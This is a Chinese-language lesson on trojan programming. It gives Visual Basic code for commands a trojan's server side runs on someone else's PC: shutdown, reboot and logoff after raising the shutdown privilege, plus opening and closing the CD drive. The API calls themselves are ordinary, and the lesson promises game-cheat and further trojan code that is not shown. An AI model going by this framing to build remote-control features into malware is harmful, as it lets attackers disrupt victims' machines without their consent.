第十四课 木马编程实例讲解

第三节 控制实例
当服务端接受指令时，要在别人PC上做什么

一 关机

关机程序是最为常用的控制手段，它包括关机，重起，注销等

主要代码为：98是OK的，XP和2000需要提权，注销都OK的

Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegevalue Lib "advapi32" Alias "LookupPrivilegevalueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long

Private Type LUID
    UsedPart As Long
    IgnoredForNowHigh32BitPart As Long
End Type’

Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    TheLuid As LUID
    Attributes As Long
End Type

Private Const EWX_SHUTDOWN As Long = 1
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0

提权：
Private Sub AdjustToken()
   
    Const TOKEN_ADJUST_PRIVILEGES = &H20
    Const TOKEN_QUERY = &H8
    Const SE_PRIVILEGE_ENABLED = &H2
   
    Dim hdlProcessHandle As Long
    Dim hdlTokenHandle As Long
    Dim tmpLuid As LUID
    Dim tkp As TOKEN_PRIVILEGES
    Dim tkpNewButIgnored As TOKEN_PRIVILEGES
    Dim lBufferNeeded As Long
   
    hdlProcessHandle = GetCurrentProcess()
    OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), hdlTokenHandle
    LookupPrivilegevalue "", "SeShutdownPrivilege", tmpLuid
   
    tkp.PrivilegeCount = 1
    tkp.TheLuid = tmpLuid
    tkp.Attributes = SE_PRIVILEGE_ENABLED
   
    AdjustTokenPrivileges hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded
   
End Sub

Private Sub Command1_Click()
    Call AdjustToken
    ExitWindowsEx EWX_SHUTDOWN, 0
End Sub
Private Sub Command2_Click()
 Call AdjustToken
    ExitWindowsEx EWX_REBOOT, 0
End Sub

Private Sub Command3_Click()
    ExitWindowsEx EWX_LOGOFF, 0
End Sub

二 光驱的控制

   这也是一个非常多见的常用控制，它的实现是借助了多媒体动态连接库文件 winmm.dll。

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Sub OpenCDDoor()
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0&
End Sub
Sub CloseCDDoor()
mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0&
End Sub

 命令行不同

外挂软件的编写
对网络和数据库的访问
木马会陆续给大家提供好的，经典的代码
API函数的应用